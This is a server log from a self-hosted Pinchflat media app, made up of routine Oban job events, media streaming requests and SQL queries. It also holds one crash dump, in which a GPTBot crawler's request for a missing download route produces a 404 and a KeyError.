{"source":"oban","duration":1409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:02:31.667 [info] {"source":"oban","duration":1044,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:02:37.036 [info] GET /media/22f02be0-4440-46c7-86ba-4a184dd434ff/stream 03:02:37.036 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "22f02be0-4440-46c7-86ba-4a184dd434ff", "v" => "1765698513"} Pipelines: [:maybe_basic_auth] 03:02:37.037 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=1378.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["22f02be0-4440-46c7-86ba-4a184dd434ff"] 03:02:37.038 [debug] Invalid range request for media item: 22f02be0-4440-46c7-86ba-4a184dd434ff - serving full file 03:02:37.038 [info] Sent 200 in 2ms 03:03:00.792 [info] {"source":"oban","duration":314,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:03:01.669 [info] {"source":"oban","duration":939,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:03:31.671 [info] {"source":"oban","duration":1036,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:04:00.793 [info] {"source":"oban","duration":356,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:04:01.673 [info] {"source":"oban","duration":918,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:04:31.675 [info] {"source":"oban","duration":1092,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:05:00.794 [info] {"source":"oban","duration":262,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:05:01.677 [info] {"source":"oban","duration":1067,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:05:14.088 [info] GET /sources/1/media/89338/force_download 03:05:14.089 [debug] QUERY OK source="settings" db=0.2ms idle=429.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:05:14.089 [debug] QUERY OK source="settings" db=0.3ms idle=430.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:05:14.090 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 03:05:14.090 [error] #PID<0.264228.0> running PinchflatWeb.Endpoint (connection #PID<0.264227.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/1/media/89338/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/89338/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.264227.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/89338/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 53852}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.264228.0>, params: %{}, path_info: ["sources", "1", "media", "89338", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.204"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.243.204"} ], request_path: "/sources/1/media/89338/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIEM5r7B6x2GF3EAMYbC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.264227.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/89338/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 53852}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/89338/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.264227.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/89338/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 53852}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.264228.0>, params: %{}, path_info: ["sources", "1", "media", "89338", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.E (truncated) 03:05:31.679 [info] {"source":"oban","duration":1357,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:06:00.795 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:06:01.681 [info] {"source":"oban","duration":1176,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:06:31.683 [info] {"source":"oban","duration":1107,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:07:00.796 [info] {"source":"oban","duration":526,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:07:01.685 [info] {"source":"oban","duration":1379,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:07:31.687 [info] {"source":"oban","duration":1195,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:07:58.218 [info] GET /media/e40b1d81-4356-4358-8fb9-863d2926d05f/stream 03:07:58.219 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "e40b1d81-4356-4358-8fb9-863d2926d05f", "v" => "1765698476"} Pipelines: [:maybe_basic_auth] 03:07:58.219 [debug] QUERY OK source="media_items" db=0.5ms idle=560.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["e40b1d81-4356-4358-8fb9-863d2926d05f"] 03:07:58.220 [debug] Invalid range request for media item: e40b1d81-4356-4358-8fb9-863d2926d05f - serving full file 03:07:58.220 [info] Sent 200 in 1ms 03:08:00.797 [info] {"source":"oban","duration":362,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:08:01.689 [info] {"source":"oban","duration":1297,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:08:31.691 [info] {"source":"oban","duration":1112,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:09:00.798 [info] {"source":"oban","duration":428,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:09:01.693 [info] {"source":"oban","duration":1252,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:09:31.695 [info] {"source":"oban","duration":1371,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:10:00.799 [info] {"source":"oban","duration":362,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:10:01.697 [info] {"source":"oban","duration":1158,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:10:31.699 [info] {"source":"oban","duration":989,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:11:00.800 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:11:01.701 [info] {"source":"oban","duration":1309,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:11:31.703 [info] {"source":"oban","duration":1513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:12:00.801 [info] {"source":"oban","duration":541,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:12:01.705 [info] {"source":"oban","duration":1320,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:12:31.707 [info] {"source":"oban","duration":1388,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:13:00.802 [info] {"source":"oban","duration":282,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:13:01.709 [info] {"source":"oban","duration":1179,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:13:12.719 [info] GET /media/038d16a4-24d4-4f68-9008-3b06147b2dcf/stream 03:13:12.720 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "038d16a4-24d4-4f68-9008-3b06147b2dcf", "v" => "1765698480"} Pipelines: [:maybe_basic_auth] 03:13:12.720 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=1061.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["038d16a4-24d4-4f68-9008-3b06147b2dcf"] 03:13:12.721 [debug] Invalid range request for media item: 038d16a4-24d4-4f68-9008-3b06147b2dcf - serving full file 03:13:12.721 [info] Sent 200 in 1ms 03:13:31.711 [info] {"source":"oban","duration":1197,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:14:00.803 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:14:01.713 [info] {"source":"oban","duration":1197,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:14:20.348 [info] GET /media/04c64e0c-f2c9-4676-a57e-626e67bee084/stream 03:14:20.349 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "04c64e0c-f2c9-4676-a57e-626e67bee084", "v" => "1765343928"} Pipelines: [:maybe_basic_auth] 03:14:20.349 [debug] QUERY OK source="media_items" db=0.4ms idle=690.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["04c64e0c-f2c9-4676-a57e-626e67bee084"] 03:14:20.350 [debug] Invalid range request for media item: 04c64e0c-f2c9-4676-a57e-626e67bee084 - serving full file 03:14:20.350 [info] Sent 200 in 1ms 03:14:31.715 [info] {"source":"oban","duration":1217,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:14:32.795 [info] GET /media/fd8aa229-762e-4076-85db-a6aca6a6b6b0/stream 03:14:32.796 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "fd8aa229-762e-4076-85db-a6aca6a6b6b0", "v" => "1762490225"} Pipelines: [:maybe_basic_auth] 03:14:32.796 [debug] QUERY OK source="media_items" db=0.3ms idle=1081.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["fd8aa229-762e-4076-85db-a6aca6a6b6b0"] 03:14:32.797 [debug] Invalid range request for media item: fd8aa229-762e-4076-85db-a6aca6a6b6b0 - serving full file 03:14:32.797 [info] Sent 200 in 1ms 03:14:58.898 [info] GET /media/4a6d1b92-b4ec-404a-8503-c804bc04bd17/stream 03:14:58.898 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "4a6d1b92-b4ec-404a-8503-c804bc04bd17", "v" => "1763937944"} Pipelines: [:maybe_basic_auth] 03:14:58.899 [debug] QUERY OK source="media_items" db=0.4ms idle=219.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["4a6d1b92-b4ec-404a-8503-c804bc04bd17"] 03:14:58.899 [debug] Invalid range request for media item: 4a6d1b92-b4ec-404a-8503-c804bc04bd17 - serving full file 03:14:58.900 [info] Sent 200 in 1ms 03:15:00.804 [info] {"source":"oban","duration":268,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:15:01.717 [info] {"source":"oban","duration":1641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:15:10.851 [info] GET /media/3ed4de88-da15-448b-952e-94047ae239f8/stream 03:15:10.852 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "3ed4de88-da15-448b-952e-94047ae239f8", "v" => "1764780669"} Pipelines: [:maybe_basic_auth] 03:15:10.852 [debug] QUERY OK source="media_items" db=0.3ms idle=1075.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["3ed4de88-da15-448b-952e-94047ae239f8"] 03:15:10.853 [debug] Invalid range request for media item: 3ed4de88-da15-448b-952e-94047ae239f8 - serving full file 03:15:10.853 [info] Sent 200 in 1ms 03:15:22.474 [info] GET /media/33c6882e-b94c-4db2-82dc-3ba0b9e4f522/stream 03:15:22.474 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "33c6882e-b94c-4db2-82dc-3ba0b9e4f522", "v" => "1763711592"} Pipelines: [:maybe_basic_auth] 03:15:22.475 [debug] QUERY OK source="media_items" db=0.4ms idle=1795.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["33c6882e-b94c-4db2-82dc-3ba0b9e4f522"] 03:15:22.475 [debug] Invalid range request for media item: 33c6882e-b94c-4db2-82dc-3ba0b9e4f522 - serving full file 03:15:22.475 [info] Sent 200 in 1ms 03:15:31.719 [info] {"source":"oban","duration":1233,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:16:00.805 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:16:01.721 [info] {"source":"oban","duration":1274,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:16:31.723 [info] {"source":"oban","duration":1417,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:17:00.806 [info] {"source":"oban","duration":353,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:17:01.725 [info] {"source":"oban","duration":1369,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:17:31.727 [info] {"source":"oban","duration":1339,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:18:00.807 [info] {"source":"oban","duration":294,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:18:01.729 [info] {"source":"oban","duration":1329,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:18:31.731 [info] {"source":"oban","duration":1544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:19:00.808 [info] {"source":"oban","duration":419,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:19:01.734 [info] {"source":"oban","duration":1326,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:19:31.736 [info] {"source":"oban","duration":1439,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:20:00.809 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:20:01.738 [info] {"source":"oban","duration":1084,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:20:31.740 [info] {"source":"oban","duration":1371,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:21:00.810 [info] {"source":"oban","duration":460,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:21:01.742 [info] {"source":"oban","duration":1704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:21:31.745 [info] {"source":"oban","duration":1037,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:22:00.812 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:22:01.747 [info] {"source":"oban","duration":1558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:22:31.749 [info] {"source":"oban","duration":1076,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:23:00.813 [info] {"source":"oban","duration":332,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:23:01.751 [info] {"source":"oban","duration":1042,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:23:31.753 [info] {"source":"oban","duration":1392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:24:00.814 [info] {"source":"oban","duration":288,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:24:01.755 [info] {"source":"oban","duration":1352,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:24:31.757 [info] {"source":"oban","duration":1377,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:25:00.815 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:25:01.759 [info] {"source":"oban","duration":1193,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:25:31.761 [info] {"source":"oban","duration":1443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:26:00.816 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:26:01.763 [info] {"source":"oban","duration":1170,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:26:31.765 [info] {"source":"oban","duration":1386,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:27:00.817 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:27:01.767 [info] {"source":"oban","duration":1144,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:27:31.769 [info] {"source":"oban","duration":1271,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:28:00.818 [info] {"source":"oban","duration":297,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:28:01.771 [info] {"source":"oban","duration":1164,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:28:31.773 [info] {"source":"oban","duration":1173,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:29:00.819 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:29:01.775 [info] {"source":"oban","duration":1325,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:29:31.777 [info] {"source":"oban","duration":968,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:30:00.820 [info] {"source":"oban","duration":424,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:30:01.779 [info] {"source":"oban","duration":1437,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:30:31.781 [info] {"source":"oban","duration":1251,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:31:00.821 [info] {"source":"oban","duration":288,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:31:01.783 [info] {"source":"oban","duration":1119,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:31:31.785 [info] {"source":"oban","duration":1018,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:32:00.822 [info] {"source":"oban","duration":213,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:32:01.787 [info] {"source":"oban","duration":1506,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:32:31.789 [info] {"source":"oban","duration":1443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:33:00.823 [info] {"source":"oban","duration":266,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:33:01.791 [info] {"source":"oban","duration":1240,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:33:31.793 [info] {"source":"oban","duration":1579,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:34:00.824 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:34:01.795 [info] {"source":"oban","duration":1621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:34:31.797 [info] {"source":"oban","duration":1388,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:35:00.825 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:35:01.799 [info] {"source":"oban","duration":1439,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:35:31.801 [info] {"source":"oban","duration":1190,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:36:00.826 [info] 